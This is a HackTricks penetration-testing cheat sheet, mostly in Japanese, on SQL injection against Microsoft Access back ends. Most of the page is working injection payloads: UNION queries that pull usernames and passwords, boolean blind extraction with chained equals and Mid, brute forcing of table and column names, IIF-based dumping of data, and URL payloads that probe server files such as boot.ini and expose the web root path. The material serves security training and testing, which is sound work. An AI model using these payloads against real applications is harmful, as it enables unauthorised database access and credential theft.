hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

11 KiB
Raw Blame History

MS Access SQL Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Online Playground

DB Limitations

String Concatenation

文字列の連結は & (%26) および + (%2b) 文字を使用して可能です。

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

コメント

MS Accessにはコメントがありませんが、NULL文字を使ってクエリの最後を削除することが可能なようです:

1' union select 1,2 from table%00

この方法がうまくいかない場合は、クエリの構文を修正することができます:

1' UNION SELECT 1,2 FROM table WHERE ''='

スタッククエリ

サポートされていません。

LIMIT

LIMIT 演算子は 実装されていません。ただし、TOP 演算子を使用して最初の N テーブル行に SELECT クエリの結果を制限することは可能ですTOP は、返される行数を表す整数を引数として受け取ります。

1' UNION SELECT TOP 3 attr FROM table%00

Just like TOP you can use LAST which will get the rows from the end.

UNION クエリ/サブクエリ

SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思います。MS Accessでは、サブクエリや追加のクエリではFROMを指定する必要があります
したがって、UNION SELECTUNION ALL SELECT、または条件内の括弧の中のSELECTを実行したい場合は、常に有効なテーブル名を持つFROMを指定する必要があります
そのため、有効なテーブル名を知っておく必要があります。

-1' UNION SELECT username,password from users%00

Chaining equals + Substring

{% hint style="warning" %} これにより、テーブルの名前を知らなくても現在のテーブルの値を抽出することができます。 {% endhint %}

MS Access奇妙な構文 を許可します、例えば '1'=2='3'='asd'=false。通常、SQLインジェクションは WHERE 句の中にあるため、それを悪用できます。

MS AccessデータベースにSQLiがあり、1つの カラム名がusername であることを知っているまたは推測しているとします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのWebアプリの異なる応答を確認し、Mid 関数を使用して部分文字列を取得することで、ブールインジェクション を使用してコンテンツを抽出する可能性があります。

'=(Mid(username,1,3)='adm')='

もしテーブルの名前カラムをダンプすることがわかっていれば、MidLAST、およびTOPの組み合わせを使用して、ブールSQLiを介してすべての情報を漏洩させることができます:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

テーブル名のブルートフォース

チェイニングイコール技術を使用すると、次のようにテーブル名をブルートフォースすることもできます:

'=(select+top+1+'lala'+from+<table_name>)='

従来の方法を使用することもできます:

-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

カラム名のブルートフォース

現在のカラム名をブルートフォースするには、次のように等号トリックを使用できます:

'=column_name='

または group by を使用して:

-1' GROUP BY column_name%00

または、別のテーブルの列名をブルートフォースすることができます:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

データのダンプ

現在および他のテーブルからデータをダンプするためのチェイニングイコールテクニックについてはすでに説明しました。しかし、他にも方法があります:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10 演算子を利用することで、最初の10件の結果を選択できます。その後、LASTを使用することで、10番目のタプルのみを考慮できます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプできます。

時間ベース

Check https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

その他の興味深い関数

  • Mid('admin',1,1) 位置1から長さ1の部分文字列を取得初期位置は1
  • LEN('1234') 文字列の長さを取得
  • ASC('A') 文字のASCII値を取得
  • CHR(65) ASCII値から文字列を取得
  • IIF(1=1,'a','b') if then
  • COUNT(*) アイテムの数をカウント

テーブルの列挙

こちらから、テーブル名を取得するためのクエリを見ることができます:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

しかし、MSysObjects テーブルを読み取るアクセス権がない場合に SQL インジェクションを見つけることは非常に一般的であることに注意してください。

ファイルシステムアクセス

ウェブルートディレクトリのフルパス

ウェブルートの絶対パスの知識はさらなる攻撃を容易にする可能性があります。アプリケーションエラーが完全に隠蔽されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access は ウェブディレクトリのフルパスを含むエラーメッセージ で応答します。

ファイル列挙

次の攻撃ベクターは、リモートファイルシステム上のファイルの存在を推測するために使用できます。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

ファイルを列挙する別の方法は、データベース.テーブル項目を指定することです。指定されたファイルが存在する場合、MS Access は データベース形式エラーメッセージ を表示します。

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb ファイル名の推測

データベースファイル名 (.mdb) は、次のクエリで推測できます:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

ここで、name[i] は .mdb ファイル名 であり、realTable はデータベース内の存在するテーブル です。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することが可能です。

.mdb パスワードクラッカー

Access PassView は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 の主なデータベースパスワードを回復するために使用できる無料のユーティリティです。

参考文献

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}